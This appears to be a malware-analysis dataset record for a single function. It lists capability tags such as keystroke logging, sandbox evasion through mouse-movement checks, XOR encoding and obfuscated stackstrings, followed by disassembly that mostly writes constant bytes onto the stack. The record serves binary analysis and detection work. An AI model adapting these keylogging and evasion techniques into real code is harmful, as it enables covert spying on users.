Function at 0x140171930
Capabilities:
Authenticate hmac
Check for unmoving mouse cursor
Contain obfuscated stackstrings
Encode data using xor
Get graphical window text
Get keyboard layout
Get session user name
Log keystrokes
Log keystrokes via polling
Parse pe header
Write clipboard data

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x25708
call fcn.14015dac0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x256b0], rcx
mov qword [rbp + 0x256b8], rdx
mov qword [rbp + 0x256c0], r8
mov dword [rbp + 0x256c8], r9d
mov word [rbp + 0x7996], 0x2b8
mov dword [rbp + 0x7980], 0x79dbc0f1
mov dword [rbp + 0x797c], 0x1c0d5630
mov word [rbp + 0x795a], 0xfc
mov dword [rbp + 0x793c], 0x3bcb9471
mov word [rbp + 0x25486], 0x5c1
mov word [rbp + 0x78e0], 0x37b1
mov byte [rbp + 0x25485], 0x51
mov byte [rbp + 0x78af], 0x6f
mov dword [rbp + 0x25480], 0xe4c8d33d
movabs rax, 0x26425b81fb55188b
mov qword [rbp + 0x25478], rax
mov word [rbp + 0x77e8], 0xc4c
mov word [rbp + 0x77d6], 0x56ad
mov word [rbp + 0x77a4], 0x4324
mov word [rbp + 0x778a], 0x77e0
mov dword [rbp + 0x775c], 0x1f763124
movabs rax, 0x32c5a3947546274f
mov qword [rbp + 0x76c8], rax
mov word [rbp + 0x76b8], 0x5fd
mov byte [rbp + 0x7667], 0xe7
mov dword [rbp + 0x764c], 0x1fb59ddb
mov word [rbp + 0x7636], 0xd6d
mov dword [rbp + 0x25474], 0x113b6872
mov byte [rbp + 0x25473], 0x2c
movabs rax, 0x343aca69d2bdb238
mov qword [rbp + 0x25468], rax
mov dword [rbp + 0x75e0], 0xdab806cc
movabs rax, 0x7c0db0debb65a9be
mov qword [rbp + 0x25460], rax
mov dword [rbp + 0x7590], 0x5f33f7ab
mov byte [rbp + 0x2545f], 0xfb
movabs rax, 0x5eff519d6c43095d
mov qword [rbp + 0x7578], rax
mov dword [rbp + 0x25458], 0x2cfdab34
mov byte [rbp + 0x7533], 0x37
movabs rax, 0x276ad45da3ed0c6f
mov qword [rbp + 0x25450], rax
mov word [rbp + 0x7512], 0x468f
movabs rax, 0x7270fbd1b0b54025
mov qword [rbp + 0x7508], rax
movabs rax, 0x66931aa3c9b6c22c
mov qword [rbp + 0x74b8], rax
mov dword [rbp + 0x2544c], 0x105b4c79
mov dword [rbp + 0x25448], 0x1eb20a93
mov dword [rbp + 0x7488], 0x2a1d8c5e
mov word [rbp + 0x745e], 0xe5b
mov dword [rbp + 0x25444], 0x56cf3280
movabs rax, 0x445e2bf75b70e55d
mov qword [rbp + 0x7400], rax
mov dword [rbp + 0x25440], 0x32afa24c
mov byte [rbp + 0x2543f], 0x7e
mov byte [rbp + 0x2543e], 0xaf
mov word [rbp + 0x2543c], 0x785e
mov word [rbp + 0x735a], 0x349
mov dword [rbp + 0x7354], 0xb744eb88
mov word [rbp + 0x7332], 0x425
mov byte [rbp + 0x2543b], 0x15
mov dword [rbp + 0x25434], 0xa5bffbb
movabs rax, 0x73f202c15294fb55
mov qword [rbp + 0x25428], rax
mov byte [rbp + 0x725f], 0x33
mov byte [rbp + 0x25427], 0xa
mov word [rbp + 0x25424], 0x3332
mov byte [rbp + 0x7217], 0x5c
mov byte [rbp + 0x7216], 0xea
mov byte [rbp + 0x25423], 0xed
mov byte [rbp + 0x7209], 0x6f
mov byte [rbp + 0x25422], 7
mov byte [rbp + 0x25421], 0x43
mov byte [rbp + 0x25420], 0xfe
mov dword [rbp + 0x71ac], 0x730592c3
movabs rax, 0x563d1eeaa5987263
mov qword [rbp + 0x7198], rax
movabs rax, 0x735df12ea7e9a2c3
mov qword [rbp + 0x7190], rax
movabs rax, 0x2a98dcab632ab704
mov qword [rbp + 0x25418], rax
movabs rax, 0x13e88e04c458d438
mov qword [rbp + 0x25410], rax
mov word [rbp + 0x715e], 0x7d29
mov byte [rbp + 0x714b], 0x57
mov byte [rbp + 0x7125], 0x73
mov byte [rbp + 0x2540f], 0x22
movabs rax, 0xb16b0275de0f4836
mov qword [rbp + 0x70f8], rax
mov word [rbp + 0x2540c], 0xd0b
mov dword [rbp + 0x70e4], 0xe7280c35
mov byte [rbp + 0x70e3], 0x43
mov word [rbp + 0x70b6], 0x57a
mov dword [rbp + 0x25408], 0xe35c9e8f
mov byte [rbp + 0x25407], 0x63
mov byte [rbp + 0x709d], 0x3b
mov word [rbp + 0x709a], 0xffc
mov word [rbp + 0x7092], 0x573
mov word [rbp + 0x7084], 0x5850
mov byte [rbp + 0x7077], 0x28
movabs rax, 0x93b949f59ab11e39
mov qword [rbp + 0x253f8], rax
movabs rax, 0x2d9d9cb4f6dcab26
mov qword [rbp + 0x7020], rax
mov byte [rbp + 0x7015], 0x18
movabs rax, 0x38715e871abaa488
mov qword [rbp + 0x253f0], rax
movabs rax, 0x5c441e0eb6711c12
mov qword [rbp + 0x6fd8], rax
mov word [rbp + 0x6f96], 0x5601
movabs rax, 0xc5ae9c440479142b
mov qword [rbp + 0x253e8], rax
mov dword [rbp + 0x6f74], 0x263a23ec
movabs rax, 0x80f5b72bd6968968
mov qword [rbp + 0x6f58], rax
mov byte [rbp + 0x6f52], 1
mov word [rbp + 0x253e6], 0x4354
mov byte [rbp + 0x6f4a], 0x74
mov byte [rbp + 0x6f37], 0x45
mov word [rbp + 0x6f2e], 0x7a4
movabs rax, 0x37b27f7636123f55
mov qword [rbp + 0x253d8], rax
mov word [rbp + 0x6f0c], 0x85b
movabs rax, 0x17590334f89e24a9
mov qword [rbp + 0x253d0], rax
mov dword [rbp + 0x6e94], 0x138cc706
movabs rax, 0x5d5dffebcd5ca5ac
mov qword [rbp + 0x253c8], rax
mov byte [rbp + 0x6e72], 0xf1
mov byte [rbp + 0x6e3f], 0
mov word [rbp + 0x253c6], 0x259
mov byte [rbp + 0x6dff], 3
movabs rax, 0x5e1e4a9ae0a84bdb
mov qword [rbp + 0x253b8], rax
mov word [rbp + 0x253b6], 0xb6e
movabs rax, 0xbcc88a294a932580
mov qword [rbp + 0x6da0], rax
mov word [rbp + 0x253b4], 0x7562
mov dword [rbp + 0x6d38], 0x54c8de0b
mov dword [rbp + 0x6cf8], 0x2d19382a
mov dword [rbp + 0x6ce4], 0x71fb2ae3
movabs rax, 0x5c2be01af0f71fd7
mov qword [rbp + 0x253a8], rax
mov word [rbp + 0x6bec], 0xd27
movabs rax, 0x73f9c333f8c05490
mov qword [rbp + 0x253a0], rax
mov dword [rbp + 0x6bd8], 0x988daa70
mov word [rbp + 0x6bb2], 0xcfb
movabs rax, 0xb61c384c1849ec7
mov qword [rbp + 0x6ba0], rax
movabs rax, 0x28044ed5511021a5
mov qword [rbp + 0x25398], rax
movabs rax, 0x4f376ed447ae6ac9
mov qword [rbp + 0x6b70], rax
mov word [rbp + 0x6b5e], 0x4937
mov dword [rbp + 0x6b44], 0x5228bfd0
mov byte [rbp + 0x25397], 0x26
movabs rax, 0xf80cb5a50377d82a
mov qword [rbp + 0x6b28], rax
movabs rax, 0xa2af48af4d904d87
mov qword [rbp + 0x25388], rax
mov dword [rbp + 0x6b18], 0x746d45b2
mov dword [rbp + 0x6aec], 0xbef975a0
mov word [rbp + 0x6ad6], 0xadc
movabs rax, 0x70dea82c832e567f
mov qword [rbp + 0x6ac8], rax
mov dword [rbp + 0x6ac4], 0x5f711342
movabs rax, 0x93d91e9fb2fd74b4
mov qword [rbp + 0x25380], rax
movabs rax, 0x5d409a2fa0217473
mov qword [rbp + 0x25378], rax
mov dword [rbp + 0x25374], 0x2c058f3a
mov word [rbp + 0x25372], 0x4d3
movabs rax, 0x740a8f25fc4aaf1c
mov qword [rbp + 0x6a70], rax
movabs rax, 0xc5771cf4d49ffa89
mov qword [rbp + 0x25368], rax
movabs rax, 0x16cb69455c77bd30
mov qword [rbp + 0x6a58], rax
mov byte [rbp + 0x6a45], 0xfe
mov dword [rbp + 0x25364], 0x50ee03a0
movabs rax, 0x771c7face3079387
mov qword [rbp + 0x6a30], rax
mov word [rbp + 0x6a1e], 0x1eaa
mov word [rbp + 0x25362], 0x717
mov word [rbp + 0x25360], 0x7a9
mov dword [rbp + 0x2535c], 0xb28439b1
mov word [rbp + 0x2535a], 0x34c
movabs rax, 0x54dcf4bfafc6bd3
mov qword [rbp + 0x25350], rax
mov byte [rbp + 0x6985], 0x66
mov word [rbp + 0x6976], 0x379f
mov byte [rbp + 0x2534f], 0x41
mov word [rbp + 0x2534c], 0x6d9
mov byte [rbp + 0x68d3], 0xd5
mov byte [rbp + 0x68cb], 0x28
mov byte [rbp + 0x2534b], 6
mov dword [rbp + 0x6864], 0xecd51891
mov byte [rbp + 0x2534a], 0x90
mov word [rbp + 0x6840], 0xc1d
mov word [rbp + 0x25348], 0x6124
mov byte [rbp + 0x25347], 0xb
movabs rax, 0x49b2602bb152afcf
mov qword [rbp + 0x25338], rax
mov dword [rbp + 0x67cc], 0x6fb24957
mov word [rbp + 0x25336], 0x47ee
mov byte [rbp + 0x6796], 0x45
mov word [rbp + 0x25334], 0xc16
mov byte [rbp + 0x677d], 0xc
mov byte [rbp + 0x6747], 0x2d
mov word [rbp + 0x25332], 0xcd
mov byte [rbp + 0x6727], 0x2d
mov dword [rbp + 0x6720], 0x5616807c
movabs rax, 0x5637f499ea43b6ac
mov qword [rbp + 0x66f8], rax
movabs rax, 0x6005bee5d7d19a4b
mov qword [rbp + 0x25328], rax
mov byte [rbp + 0x25327], 0x79
mov word [rbp + 0x66da], 0x24de
mov dword [rbp + 0x66d0], 0xf040f20
mov dword [rbp + 0x66bc], 0xbba5d492
movabs rax, 0x79d5f85842ad6d0b
mov qword [rbp + 0x6698], rax
mov word [rbp + 0x664a], 0xd02
mov dword [rbp + 0x663c], 0x97711be
mov dword [rbp + 0x25320], 0xed112255
mov byte [rbp + 0x2531f], 0x51
movabs rax, 0x60372b459bebd4cd
mov qword [rbp + 0x6620], rax
movabs rax, 0xf71f2a121877bc07
mov qword [rbp + 0x6618], rax
movabs rax, 0x9a9f63a6f835fe96
mov qword [rbp + 0x65e0], rax
mov word [rbp + 0x65de], 0x4382
mov word [rbp + 0x2531c], 0x1b39
mov byte [rbp + 0x2531b], 0x33
mov byte [rbp + 0x6576], 0xb8
mov word [rbp + 0x25318], 0x9b5
mov word [rbp + 0x25316], 0x5af3
mov byte [rbp + 0x25315], 0xb
mov dword [rbp + 0x25310], 0x78adfbd
mov byte [rbp + 0x655b], 5
mov dword [rbp + 0x2530c], 0x9b5af5a3
movabs rax, 0x699ba99a38fd6fd
mov qword [rbp + 0x25300], rax
movabs rax, 0xbc73976df8476a1
mov qword [rbp + 0x252f8], rax
mov dword [rbp + 0x252f4], 0x59b9f4c0
mov byte [rbp + 0x252f3], 0x16
mov word [rbp + 0x252f0], 0x61ff
mov word [rbp + 0x252ee], 0x3c6b
mov dword [rbp + 0x252e8], 0x95525eb2
mov word [rbp + 0x642e], 0xb90
mov word [rbp + 0x6396], 0x61d6
movabs rax, 0x1c1c9474e5d8dc46
mov qword [rbp + 0x252e0], rax
mov byte [rbp + 0x252df], 0xa4
mov word [rbp + 0x635c], 0x1805
mov word [rbp + 0x252dc], 0x526f
mov dword [rbp + 0x252d8], 0xa4f61e5a
mov dword [rbp + 0x633c], 0x49106ab2
mov byte [rbp + 0x252d7], 0xda
mov byte [rbp + 0x252d6], 0x51
mov word [rbp + 0x633a], 0x443
mov byte [rbp + 0x252d5], 0x44
movabs rax, 0xc08fbdd9a4c2a1e9
mov qword [rbp + 0x252c8], rax
mov dword [rbp + 0x6290], 0x19a86e5a
movabs rax, 0x12e31759f2fced95
mov qword [rbp + 0x6280], rax
movabs rax, 0x7034f9443f91788e
mov qword [rbp + 0x252c0], rax
movabs rax, 0xbdee9c8bd2e1f05f
mov qword [rbp + 0x252b8], rax
mov word [rbp + 0x252b6], 0x3ba
movabs rax, 0x3823fb2a97109cfb
mov qword [rbp + 0x6178], rax
mov word [rbp + 0x6154], 0x66fd
movabs rax, 0xf8b45f26b18eaf0
mov qword [rbp + 0x252a8], rax
mov byte [rbp + 0x613d], 0x5e
movabs rax, 0x66a9c0e56c77cb6d
mov qword [rbp + 0x6110], rax
mov dword [rbp + 0x6108], 0x575c7c31
mov dword [rbp + 0x252a4], 0x8c0bbedf
mov byte [rbp + 0x252a3], 0xd
mov word [rbp + 0x252a0], 0xc10
mov byte [rbp + 0x60b3], 0xe5
mov word [rbp + 0x60a6], 0x41a7
mov word [rbp + 0x6074], 0x3096
mov dword [rbp + 0x6070], 0xbd82e0c2
mov dword [rbp + 0x6068], 0x460a0665
movabs rax, 0x3de1dc0b71928baf
mov qword [rbp + 0x25298], rax
mov word [rbp + 0x25296], 0x417
movabs rax, 0x8e04a4f12389106d
mov qword [rbp + 0x6010], rax
mov byte [rbp + 0x600f], 0x9e
movabs rax, 0x7ba9eeb06c9939f5
mov qword [rbp + 0x25288], rax
mov word [rbp + 0x6004], 0xe5f
mov byte [rbp + 0x5fcd], 0x45
mov dword [rbp + 0x25284], 0xe5a33bd8
mov word [rbp + 0x5f84], 0xa6a
mov byte [rbp + 0x25283], 0x65
movabs rax, 0x57dc703d62f0639
mov qword [rbp + 0x5f58], rax
mov dword [rbp + 0x5f40], 0xdb74df8
mov byte [rbp + 0x5f37], 0xa5
movabs rax, 0x9adf7b90011470d2
mov qword [rbp + 0x5f20], rax
mov word [rbp + 0x25280], 0x72c4
mov dword [rbp + 0x5ec8], 0x45bb4daf
mov dword [rbp + 0x5e88], 0x1227001
mov word [rbp + 0x2527e], 0x852
mov word [rbp + 0x2527c], 0x72d0
movabs rax, 0x42a9035a8d9cb500
mov qword [rbp + 0x5d60], rax
mov byte [rbp + 0x5d57], 0x9e
mov dword [rbp + 0x25278], 0x6a9a49aa
mov word [rbp + 0x5d42], 0x4e8
mov word [rbp + 0x25276], 0xf77
mov word [rbp + 0x25274], 0x2c07
movabs rax, 0x6cdd5d922b1de76e
mov qword [rbp + 0x5d18], rax
mov dword [rbp + 0x5cf8], 0x627d7299
mov word [rbp + 0x25272], 0xc00
mov word [rbp + 0x25270], 0x7ef
mov dword [rbp + 0x5cdc], 0x5de17578
mov word [rbp + 0x2526e], 0x2393
mov byte [rbp + 0x2526d], 0x57
mov dword [rbp + 0x5bac], 0x477b1e7
mov dword [rbp + 0x5ba8], 0xa469285d
mov byte [rbp + 0x5ba5], 0x33
mov byte [rbp + 0x5b91], 0x7c
mov dword [rbp + 0x5b78], 0xe15db2ca
mov byte [rbp + 0x5b6e], 0xd9
mov byte [rbp + 0x5b6b], 0x7a
mov dword [rbp + 0x5b64], 0x5c770d66
movabs rax, 0x4ec866fef1a6a50b
mov qword [rbp + 0x5b48], rax
mov dword [rbp + 0x25268], 0x1289743b
mov word [rbp + 0x5ae6], 0xf3e
mov dword [rbp + 0x5adc], 0xc8cb4ab
movabs rax, 0x3fc5ac251f7da13c
mov qword [rbp + 0x25260], rax
mov word [rbp + 0x2525e], 0xf24
mov byte [rbp + 0x5aa7], 0xae
movabs rax, 0xd0d8e4ac7f1257
mov qword [rbp + 0x25250], rax
mov byte [rbp + 0x2524f], 0x4c
mov word [rbp + 0x2524c], 0x82c
mov byte [rbp + 0x2524b], 0xa3
mov byte [rbp + 0x2524a], 0x4b
mov word [rbp + 0x5a46], 0x2d65
movabs rax, 0xcb19ad83a1a70af2
mov qword [rbp + 0x25240], rax
mov byte [rbp + 0x2523f], 0x64
mov word [rbp + 0x59d6], 0x3fa
movabs rax, 0x138ad00ad79d74d3
mov qword [rbp + 0x59b0], rax
movabs rax, 0x12c57016ec21006f
mov qword [rbp + 0x25230], rax
mov word [rbp + 0x2522e], 0xec8
mov byte [rbp + 0x5989], 0x3e
movabs rax, 0x91a533ebdace6eca
mov qword [rbp + 0x25220], rax
mov word [rbp + 0x597e], 0x668
mov dword [rbp + 0x5968], 0x59497eb7
movabs rax, 0x6f2db30c2117a56a
mov qword [rbp + 0x5948], rax
mov dword [rbp + 0x5934], 0x47df3d3d
movabs rax, 0x9675fd52ff421019
mov qword [rbp + 0x58f8], rax
movabs rax, 0x6671ee78b457944d
mov qword [rbp + 0x58e0], rax
mov byte [rbp + 0x58df], 0x19
movabs rax, 0xece02f62f14f2f24
mov qword [rbp + 0x58b8], rax
mov byte [rbp + 0x2521f], 0x1e
mov dword [rbp + 0x5884], 0x2584d4f2
movabs rax, 0xc480c806ffa83403
mov qword [rbp + 0x25210], rax
movabs rax, 0x11c2407b25b607b5
mov qword [rbp + 0x25208], rax
movabs rax, 0x5e412c4139f94b02
mov qword [rbp + 0x5788], rax
movabs rax, 0x115da44b877dc5a4
mov qword [rbp + 0x5750], rax
mov byte [rbp + 0x574b], 0x5b
mov word [rbp + 0x5734], 0x41a
mov dword [rbp + 0x25204], 0x1d0f316e
mov dword [rbp + 0x25200], 0xb6540f2e
movabs rax, 0x78701e996da3ab7c
mov qword [rbp + 0x56e8], rax
mov byte [rbp + 0x251ff], 9
mov dword [rbp + 0x251f8], 0x93a75a2
mov word [rbp + 0x565e], 0x3e4d
mov byte [rbp + 0x564f], 0x38
mov dword [rbp + 0x5648], 0x260251d8
movabs rax, 0xeaa1293d5651364
mov qword [rbp + 0x5618], rax
mov dword [rbp + 0x251f4], 0xd6c14e39
mov word [rbp + 0x559e], 0x3b5a
mov byte [rbp + 0x251f3], 0xa
mov byte [rbp + 0x251f2], 0x86
mov byte [rbp + 0x559d], 9
mov dword [rbp + 0x251ec], 0x785af5c8
movabs rax, 0xe7f8abb8b497ff9e
mov qword [rbp + 0x5568], rax
mov word [rbp + 0x5552], 0x704
movabs rax, 0xa4822e943f25aad
mov qword [rbp + 0x5548], rax
mov word [rbp + 0x251ea], 0xe7a
mov word [rbp + 0x553e], 0xa8b
mov word [rbp + 0x551c], 0x4ed2
mov byte [rbp + 0x5516], 0x3b
mov word [rbp + 0x251e8], 0x73eb
movabs rax, 0x4c7cfd7444515f39
mov qword [rbp + 0x54f0], rax
mov byte [rbp + 0x54ef], 0xb3
mov dword [rbp + 0x251e4], 0x107df471
mov word [rbp + 0x251e2], 0x6a6f
movabs rax, 0x4a66a95688dc6632
mov qword [rbp + 0x251d8], rax
movabs rax, 0x47eb1a45e279e037
mov qword [rbp + 0x251d0], rax
mov byte [rbp + 0x251cf], 0x5a
mov dword [rbp + 0x54b8], 0xf8e302f
movabs rax, 0xc3f15a91b1cf8075
mov qword [rbp + 0x251c0], rax
mov word [rbp + 0x251be], 0x31e
movabs rax, 0xd60a7190d3225440
mov qword [rbp + 0x5458], rax
mov byte [rbp + 0x544f], 0x24
mov dword [rbp + 0x251b8], 0x4795d1ab
mov dword [rbp + 0x53f8], 0x6bed44c8
mov byte [rbp + 0x251b7], 0x5e
movabs rax, 0x21994eeab05f5143
mov qword [rbp + 0x251a8], rax
movabs rax, 0x79b6ff6ca6cb3433
mov qword [rbp + 0x53a0], rax
movabs rax, 0x26cbf01a03571a4b
mov qword [rbp + 0x251a0], rax
mov dword [rbp + 0x2519c], 0x162dd646
mov word [rbp + 0x5366], 0x5666
movabs rax, 0x57655bd87eb245c5
mov qword [rbp + 0x5340], rax
mov dword [rbp + 0x25198], 0xf0e771c1
mov dword [rbp + 0x25194], 0x2c9e493d
mov byte [rbp + 0x25193], 0x36
mov word [rbp + 0x25190], 0x2582
mov word [rbp + 0x52b6], 0x4ec9
mov byte [rbp + 0x52af], 0x36
mov word [rbp + 0x529e], 0x7e7c
mov dword [rbp + 0x5288], 0x68ad2c6f
mov dword [rbp + 0x2518c], 0xba0e7174
movabs rax, 0x317325f1f51ac9f7
mov qword [rbp + 0x5268], rax
mov byte [rbp + 0x5267], 0x19
mov word [rbp + 0x5244], 0xe89
mov word [rbp + 0x2518a], 0x2db6
mov word [rbp + 0x5206], 0xfb0
mov byte [rbp + 0x51ed], 0x71
mov byte [rbp + 0x51b3], 0xe4
movabs rax, 0x454515d2740f90cb
mov qword [rbp + 0x25180], rax
mov dword [rbp + 0x4fd8], 0x48b5ebe9
mov dword [rbp + 0x4fd0], 0xbffaa01e
mov byte [rbp + 0x2517f], 0x5c
mov word [rbp + 0x2517c], 0x2f91
movabs rax, 0x4b0485bf9a5e3f2f
mov qword [rbp + 0x4f88], rax
movabs rax, 0x416a76d3c2c5a847
mov qword [rbp + 0x25170], rax
mov word [rbp + 0x4f4e], 0x130e
mov byte [rbp + 0x2516f], 0x1e
movabs rax, 0x1c43972043d416be
mov qword [rbp + 0x4f20], rax
mov dword [rbp + 0x4f18], 0x60849846
mov dword [rbp + 0x25168], 0x5f6e45a0
movabs rax, 0xa83de954b2a997a7
mov qword [rbp + 0x4ec8], rax
mov word [rbp + 0x4ebc], 0x159a
movabs rax, 0xeec2d5ec1a58709b
mov qword [rbp + 0x4e00], rax
mov dword [rbp + 0x4dcc], 0x3e0b51f1
movabs rax, 0xc1ced295ef86d9ad
mov qword [rbp + 0x25160], rax
movabs rax, 0x18657b1918c08359
mov qword [rbp + 0x4cc8], rax
mov dword [rbp + 0x4cbc], 0x4071ee65
mov word [rbp + 0x4ca4], 0x5470
movabs rax, 0x78b75639de1d6563
mov qword [rbp + 0x4c70], rax
movabs rax, 0x17addbcb61330e47
mov qword [rbp + 0x4c68], rax
mov word [rbp + 0x2515e], 0xb1d
mov word [rbp + 0x4c16], 0x7efc
mov word [rbp + 0x2515c], 0xf1e
mov word [rbp + 0x4bf2], 0x372
mov dword [rbp + 0x4bec], 0x4b18df50
mov dword [rbp + 0x4bbc], 0xd3f3ab32
movabs rax, 0x58dec02f268e08c7
mov qword [rbp + 0x25150], rax
mov byte [rbp + 0x4b5a], 0x29
movabs rax, 0xdbb295d840399812
mov qword [rbp + 0x25148], rax
mov byte [rbp + 0x4b3c], 0x70
mov byte [rbp + 0x25147], 0x55
mov byte [rbp + 0x4b1d], 0xec
mov byte [rbp + 0x4adf], 0x3b
mov dword [rbp + 0x25140], 0x2a0466c8
movabs rax, 0x8e899a22db4ffba
mov qword [rbp + 0x4ac8], rax
mov dword [rbp + 0x2513c], 0x205224c5
mov byte [rbp + 0x2513b], 0x33
mov dword [rbp + 0x4aa4], 0x6fe6278c
mov word [rbp + 0x4a7c], 0x7066
mov dword [rbp + 0x25134], 0xe817f20e
mov byte [rbp + 0x4a37], 0xea
mov word [rbp + 0x25132], 0x57e8
mov word [rbp + 0x4a18], 0xe96
movabs rax, 0x276b75609a7ddae4
mov qword [rbp + 0x4a10], rax
mov word [rbp + 0x25130], 0x3718
mov byte [rbp + 0x49c7], 0x3b
movabs rax, 0x3fdaf0f8e3b5e743
mov qword [rbp + 0x25128], rax
mov dword [rbp + 0x25124], 0x46ac7ab6
mov word [rbp + 0x25122], 0x612
movabs rax, 0xd014ae51b0a5c0f5
mov qword [rbp + 0x25118], rax
movabs rax, 0xd4a895bb5000ebd
mov qword [rbp + 0x4948], rax
mov word [rbp + 0x25116], 0x51f
movabs rax, 0x99cbae36447020ea
mov qword [rbp + 0x4818], rax
mov word [rbp + 0x25114], 0xf69
mov dword [rbp + 0x47f0], 0x43152a7d
mov dword [rbp + 0x25110], 0x41475d26
mov word [rbp + 0x47be], 0x33ea
mov word [rbp + 0x47ba], 0x24e3
movabs rax, 0x6ec30eec1cf2873e
mov qword [rbp + 0x4798], rax
mov dword [rbp + 0x4794], 0x498ac794
mov word [rbp + 0x476e], 0x487
movabs rax, 0x652fd9cdd3348f34
mov qword [rbp + 0x4760], rax
mov dword [rbp + 0x2510c], 0xbc7ae7e
mov word [rbp + 0x2510a], 0x40
mov byte [rbp + 0x25109], 0x35
mov dword [rbp + 0x4700], 0x504576c
mov word [rbp + 0x46e8], 0x21c7
movabs rax, 0xf17bddda61d1cc98
mov qword [rbp + 0x25100], rax
mov dword [rbp + 0x250fc], 0x72458a4
mov byte [rbp + 0x46e5], 0xd2
mov byte [rbp + 0x250fb], 0xb7
mov word [rbp + 0x250f8], 0x3806
movabs rax, 0x14eae6a5cfa89d9b
mov qword [rbp + 0x250f0], rax
mov byte [rbp + 0x46b7], 0xad
movabs rax, 0xdefdc2e731072151
mov qword [rbp + 0x250e8], rax
mov word [rbp + 0x250e6], 0x2535
mov byte [rbp + 0x250e5], 0x7d
mov word [rbp + 0x467e], 0xee5
movabs rax, 0x459820d7b5cb23d6
mov qword [rbp + 0x4670], rax
mov word [rbp + 0x466e], 0x10a
mov word [rbp + 0x465e], 0x23d
mov word [rbp + 0x4632], 0xe67
movabs rax, 0x2eb07dfe66cd96cc
mov qword [rbp + 0x250d8], rax
mov dword [rbp + 0x250d4], 0xa508981a
mov word [rbp + 0x4600], 0xc7a
mov word [rbp + 0x250d2], 0x965
mov dword [rbp + 0x459c], 0x7bf704a3
mov byte [rbp + 0x4593], 0x21
mov word [rbp + 0x250d0], 0x1286
movabs rax, 0x88959ab7cbc87ef
mov qword [rbp + 0x250c8], rax
mov dword [rbp + 0x250c4], 0x842c242b
mov word [rbp + 0x44de], 0x7e01
movabs rax, 0x12ddd519c5f74c5a
mov qword [rbp + 0x4478], rax
movabs rax, 0x4bd620cd70bcc4f4
mov qword [rbp + 0x250b8], rax
mov word [rbp + 0x4466], 0x6742
mov word [rbp + 0x444e], 0xcc9
mov dword [rbp + 0x4448], 0x30b62abf
movabs rax, 0x6b52fd170c50d856
mov qword [rbp + 0x250b0], rax
mov word [rbp + 0x43b0], 0x5f3d
mov dword [rbp + 0x43ac], 0xac9bf7b4
mov byte [rbp + 0x438b], 0x73
movabs rax, 0x7b72bb322f069534
mov qword [rbp + 0x250a8], rax
movabs rax, 0x20247fc533f65dfa
mov qword [rbp + 0x4350], rax
mov dword [rbp + 0x433c], 0x54ada2ef
mov dword [rbp + 0x431c], 0x542512d1
movabs rax, 0xf97141c4017b9455
mov qword [rbp + 0x4310], rax
mov word [rbp + 0x250a6], 0x8f5
mov word [rbp + 0x42be], 0x139
mov byte [rbp + 0x42b5], 0x28
movabs rax, 0x92d7b46cc65d580
mov qword [rbp + 0x4258], rax
mov dword [rbp + 0x4224], 0x1c4d9647
mov dword [rbp + 0x4220], 0x551c9ef0
mov dword [rbp + 0x4214], 0xa6253178
mov word [rbp + 0x420a], 0x218
mov word [rbp + 0x4206], 0x5f8d
movabs rax, 0x22ecf8e1a6b6de30
mov qword [rbp + 0x41f8], rax
mov word [rbp + 0x250a4], 0xa1d
mov byte [rbp + 0x250a3], 0xd
movabs rax, 0x5ce00d105611cf59
mov qword [rbp + 0x41c0], rax
mov dword [rbp + 0x41bc], 0x35c8e860
mov dword [rbp + 0x2509c], 0xfb33a4d7
mov byte [rbp + 0x419f], 0x88
mov word [rbp + 0x419a], 0x778
mov byte [rbp + 0x2509b], 0x53
mov word [rbp + 0x4192], 0xa0a
mov word [rbp + 0x4186], 0x12c1
movabs rax, 0x159e9309426b87be
mov qword [rbp + 0x4138], rax
mov dword [rbp + 0x4124], 0x32a9dcdc
movabs rax, 0xb7821a17ada2f9ca
mov qword [rbp + 0x25090], rax
mov word [rbp + 0x411a], 0x62df
mov byte [rbp + 0x2508f], 0x52
movabs rax, 0x2b9940ddf9c04952
mov qword [rbp + 0x25080], rax
mov word [rbp + 0x4118], 0x4a8c
movabs rax, 0x4d10808de5dd2c7a
mov qword [rbp + 0x4108], rax
movabs rax, 0xcf154ed7f2ed9389
mov qword [rbp + 0x25078], rax
mov dword [rbp + 0x40e8], 0x2e56771f
mov dword [rbp + 0x40b8], 0x7cc3e5c
mov byte [rbp + 0x40af], 0x27
movabs rax, 0x74588b308cc9a1c2
mov qword [rbp + 0x4090], rax
mov byte [rbp + 0x25077], 0x35
mov word [rbp + 0x405a], 0x7e9c
mov dword [rbp + 0x4010], 0x43004ef9
mov dword [rbp + 0x3ff4], 0xb98caff
movabs rax, 0x242c8e7f3e42dacf
mov qword [rbp + 0x3fe0], rax
mov byte [rbp + 0x3fcf], 0x52
mov dword [rbp + 0x3fa4], 0x528a48e2
movabs rax, 0x77194665dc094ea3
mov qword [rbp + 0x3f98], rax
mov dword [rbp + 0x3f90], 0x49183f5b
mov byte [rbp + 0x3f8d], 0x9d
mov dword [rbp + 0x3f84], 0xc0f0c301
movabs rax, 0xf3e363785d411972
mov qword [rbp + 0x25068], rax
mov byte [rbp + 0x3f4f], 0xb6
movabs rax, 0x13e24f8da351add8
mov qword [rbp + 0x3f00], rax
movabs rax, 0xa2953224f3ba9742
mov qword [rbp + 0x3ef0], rax
mov byte [rbp + 0x25067], 0x20
mov dword [rbp + 0x25060], 0x293cc890
mov word [rbp + 0x2505e], 0xf3c
mov word [rbp + 0x3e6e], 0xd16
movabs rax, 0x212b5144872d57f1
mov qword [rbp + 0x25050], rax
mov word [rbp + 0x3e26], 0xf27
mov byte [rbp + 0x3e1f], 0x52
mov word [rbp + 0x2504e], 0x3bf8
movabs rax, 0x79361d457fa73255
mov qword [rbp + 0x3dc0], rax
mov dword [rbp + 0x3d88], 0x4d950809
mov word [rbp + 0x2504c], 0x7d
mov dword [rbp + 0x25048], 0x3ed16762
mov byte [rbp + 0x3c5f], 0x77
movabs rax, 0x7f63553e494e2c8b
mov qword [rbp + 0x25040], rax
mov dword [rbp + 0x3c24], 0x41f7b417
mov dword [rbp + 0x2503c], 0x56fbfd8
mov word [rbp + 0x2503a], 0xc4f
mov byte [rbp + 0x3bbb], 0x21
mov word [rbp + 0x25038], 0x668
mov byte [rbp + 0x25037], 0x6e
movabs rax, 0x2e30e08442772f07
mov qword [rbp + 0x25028], rax
mov byte [rbp + 0x3ab7], 0x69
movabs rax, 0x1f5ea3ae3b51413c
mov qword [rbp + 0x3aa8], rax
mov byte [rbp + 0x3aa1], 0x8b
mov word [rbp + 0x25026], 0x22e
mov word [rbp + 0x3a1c], 0x428
mov word [rbp + 0x39d0], 0x520
